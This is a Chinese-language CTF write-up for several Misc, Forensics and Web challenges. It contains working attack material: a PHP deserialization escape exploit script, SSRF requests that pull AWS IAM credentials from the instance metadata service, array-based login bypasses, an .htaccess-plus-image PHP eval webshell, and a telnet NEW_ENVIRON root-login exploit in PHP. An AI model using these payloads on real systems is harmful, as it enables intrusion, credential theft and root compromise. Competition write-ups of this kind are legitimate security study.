太菜了,只做了部分Web和Misc题
【Misc】AA哥的JAVA
【解题思路】
一开始以为是修复Java文件,运行,就能输出flag,修复之后,输出的flag是错的。后来问了一下ai,原来是二进制解码,把Java文件中间的空格换成0,Tab换成1,然后二进制转字符,获得flag
【解题步骤】

中间全是空格和Tab,自己一个一个复制粘贴太麻烦了,用ai帮忙写了一下脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66
| import re import sys
def decode_whitespace(file_path): try: with open(file_path, 'r', encoding='utf-8') as f: # 按行读取,保持行号信息方便调试 lines = f.readlines() except FileNotFoundError: print(f"❌ 错误: 找不到文件 {file_path}") return
# 正则:匹配 前后都有非空白字符 的中间空白区域 # 这样可以避开 行首缩进 和 行尾换行符 regex_pattern = re.compile(r'(?<=\S)([ \t]+)(?=\S)')
decoded_chars = [] print(f"[*] 正在分析文件: {file_path} (共 {len(lines)} 行)") print("-" * 40)
for line_num, line in enumerate(lines, 1): # 查找当前行是否有符合条件的“中间空白” matches = regex_pattern.findall(line)
for gap in matches: # 过滤策略:忽略正常的单个空格(Java代码中单词间的正常分隔) if len(gap) == 1 and gap == ' ': continue # 转换逻辑:Tab -> 1, Space -> 0 # 提示:如果解出来乱码,尝试互换 '1' 和 '0' chunk_bin = "" for char in gap: if char == '\t': chunk_bin += '1' elif char == ' ': chunk_bin += '0' # 将二进制转换为字符 if chunk_bin: try: char_code = int(chunk_bin, 2) decoded_char = chr(char_code) decoded_chars.append(decoded_char) # 调试:可以看到每一行解出了什么 # print(f"行 {line_num}: {chunk_bin} -> {decoded_char} ({char_code})") except ValueError: print(f"[!] 行 {line_num} 转换失败: {chunk_bin}") decoded_chars.append("?")
final_flag = "".join(decoded_chars)
print(f"[*] 提取完成,共找到 {len(decoded_chars)} 个隐藏字符") print("-" * 40) print(f"🚩 解码结果 (Flag): \n{final_flag}") print("-" * 40)
if __name__ == "__main__": filename = "AA.java" if len(sys.argv) > 1: filename = sys.argv[1] decode_whitespace(filename)
|
获得flag
pofp{HuAm1_tru1y_c4nn0t_m4ke_sense_0f_J4v4}
【Forensics】谁动了我的钱包
【解题思路】
跟着out一路找,最后的账户肯定都是in
【解题步骤】
- 先进
0x3Cbf1FA1EB6b76e520a67699dFebfaf7Ca33b13E
- 再进
0x0Ce829352d1Cf6e3dbBef7b31aA43a8467D98dEA
- 再进
0x536a92088eB6c486440A77AAa81e5C7C59334903
- 再进
0x529F3E609d09dF558A598785f421867447113C2b
- 再进
0x3D89ce589dD293b4d00F3368b54F6f26D851Bd81
- 再进
0xFF7C350e70879D04A13bb2d8D77B60e603b7DB72

flag就是POFP{0xFF7C350e70879D04A13bb2d8D77B60e603b7DB72}
【Web】babypop
【解题思路】
我们要从反序列化点unserialize($safe_data)开始,构造一条通往eval的路径:
起点:LogService类的__destruct()方法。当对象销毁时,它会检查$this->handler是否有close方法。
跳板: 将LogService的$this->handler设置为FileStream对象。
终点:FileStream的close()方法。如果$this->mode === 'debug',它就会执行eval($this->content)。
POP 链路径:
LogService::__destruct() -> FileStream::close() -> eval()
代码中存在一个关键的“清理”函数:str_replace("hacker", "", $input);
这会导致序列化后的字符串长度发生变化。由于hacker(6个字符)被替换为空(0个字符),序列化字符串中的长度标识(L)会大于实际字符长度。这使得我们可以利用“空位”来吞掉原本的序列化数据,并伪造我们自己的对象。
【解题步骤】
先构造一个满足eval条件的LogService序列化串:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| <?php class FileStream { private $path = "1"; private $mode = "debug"; public $content = "system('cat /flag');"; }
class LogService { protected $handler; public function __construct() { $this->handler = new FileStream(); } }
$target = new LogService(); echo serialize($target);
|
生成O:10:"LogService":1:{s:10:"*handler";O:10:"FileStream":3:{s:16:"FileStreampath";s:1:"1";s:16:"FileStreammode";s:5:"debug";s:7:"content";s:20:"system('cat /flag');";}}
由于protected和private属性会有不可见字符%00,实际编写时需处理
接着我们要让username属性吞掉后面的内容。
通过user输入大量的hacker。每个hacker消失,会多出 6 个字符的控制权。
由于手动操作误差较大,我们使用ai生成一个脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59
| import requests import re
target_url = "http://ctf.furryctf.com:36555/"
payload_obj = ( 'O:10:"LogService":1:{S:10:"\\00*\\00handler";' 'O:10:"FileStream":3:{S:16:"\\00FileStream\\00path";s:1:"1";' 'S:16:"\\00FileStream\\00mode";s:5:"debug";' 's:7:"content";s:20:"system(\'cat /flag\');";}}' )
bio_injection = '";s:3:"bio";s:1:"a";s:10:"preference";' + payload_obj + '}'
bio_len = len(bio_injection)
padding_str = f'";s:3:"bio";s:{bio_len}:"' target_swallow_len = len(padding_str)
needed_padding = (6 - (target_swallow_len % 6)) % 6 final_bio = (" " * needed_padding) + bio_injection final_swallow_len = target_swallow_len + needed_padding
hacker_count = final_swallow_len // 6 final_user = "hacker" * hacker_count
data = { "user": final_user, "bio": final_bio }
print(f"[*] 正在尝试逃逸...") print(f"[*] 吞噬长度: {final_swallow_len}") print(f"[*] Hacker 数量: {hacker_count}") print(f"[*] 发送 Bio Payload: {final_bio[:50]}...")
try: response = requests.post(target_url, data=data) print("[+] 响应内容:") print(response.text) except Exception as e: print(f"[-] 请求失败: {e}")
|
获得flag
POFP{6b2bb1ee-2e0f-42b4-9dad-2ae0991c00bc}
【Web】CCPreview
【解题思路】
AWS EC2 实例有一个特殊的链路本地地址169.254.169.254,用于提供实例的元数据(Metadata)。如果在 EC2 实例上运行的 Web 服务存在 SSRF 漏洞(即允许用户控制服务器发出的 HTTP 请求),攻击者就可以访问这个地址来获取敏感信息。
【解题步骤】
尝试http://169.254.169.254/latest/meta-data/

发现/iam,需要通过获取 IAM 临时凭证来访问 AWS 资源(通常是 S3 存储桶)获取 Flag
获取EC2 实例绑定的IAM角色http://169.254.169.254/latest/meta-data/iam/security-credentials/

发现/admin-role
获取flag
http://169.254.169.254/latest/meta-data/iam/security-credentials/admin-role

POFP{999b6c55-e809-48b2-9d79-756520ddb349}
【Web】ezmd5
【解题思路】
PHP弱比较,使用数组绕过
【解题步骤】

Post传入user[]=1&&pass[]=2
获得flag
POFP{ada612ba-b4d1-4e5d-a695-cef1b5ca2a36}
【Web】SSO Drive
【解题思路】
源码泄露审计 -> SSO 认证绕过 -> 绕过严格的文件上传限制 -> 利用陈旧的远程管理服务 RCE
【解题步骤】

通过Wappalyzer发现是Apache PHP
访问index.php.bak,发现有备用文件

strcmp 数组绕过
POST传入username=admin&password[]=绕过登录


进入dashboard.php,文件上传,试了一下,有白名单waf,大概只能上传jpg,png,.htaccess
由于是Apache文件上传,而且允许上传配置文件
猜测应该上传图片马
经测试,后端含有后端含有mine类型
于是我们上传.htaccess
1 2 3 4
| #define width 1337 #define height 1337 AddType application/x-httpd-php .png php_value auto_append_file "php://filter/read=convert.base64-decode/resource=shell.png"
|
在上传假图片shell.png
1 2 3
| #define width 13337 #define height 1337 PD9waHAgQGV2YWwoJF9QT1NUWycxMjM0J10pOz8+
|


使用蚁剑连接
/start.sh发现所有flag

Flag3需要提权
经测试,发现需要利用xinetd,是CVE-2026-24061
通过蚁剑创建php文件,并运行

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76
| <?php $ip = "127.0.0.1"; $port = 23;
$fp = fsockopen($ip, $port, $errno, $errstr, 10); if (!$fp) die("[-] Connect failed\n"); stream_set_blocking($fp, 0);
echo "[+] Connected! Starting intelligent negotiation...\n";
$payload_sent = false; $start = time();
while (time() - $start < 10) { $data = fread($fp, 4096); if ($data) { $len = strlen($data); for ($i = 0; $i < $len; $i++) { if (ord($data[$i]) == 0xFF) { if ($i + 2 < $len) { $cmd = ord($data[$i+1]); $opt = ord($data[$i+2]); if ($cmd == 0xFD) { if ($opt == 0x27) { fwrite($fp, "\xff\xfb\x27"); echo "[+] Reply: WILL NEW_ENVIRON\n"; } else { fwrite($fp, "\xff\xfc" . chr($opt)); echo "[+] Reply: WONT Option $opt\n"; } $i += 2; } elseif ($cmd == 0xFB) { fwrite($fp, "\xff\xfe" . chr($opt)); $i += 2; } } } } $text = preg_replace("/[^\x20-\x7E]/", "", $data); if ($text) echo "Output: $text\n"; if (strpos($data, "flag") !== false || strpos($data, "GZCTF") !== false) { exit("\n[!!!] FLAG FOUND [!!!]\n"); }
if (!$payload_sent) { usleep(200000); echo "[!] Injecting CVE-2026-24061 Payload...\n"; $exploit = "\xff\xfa\x27\x00\x03USER\x01-f root\xff\xf0"; fwrite($fp, $exploit); usleep(100000); fwrite($fp, "\n/usr/bin/id; /bin/cat /root/flag3;\n"); $payload_sent = true; } } usleep(50000); } ?>
|
在蚁剑终端运行php 1.php

找到第三段flag
-5cf8e09d78a7}
和前两段拼在一块

POFP{5610a036-

aa89-45bb-aa29
获得flag
POFP{5610a036-aa89-45bb-aa29-5cf8e09d78a7}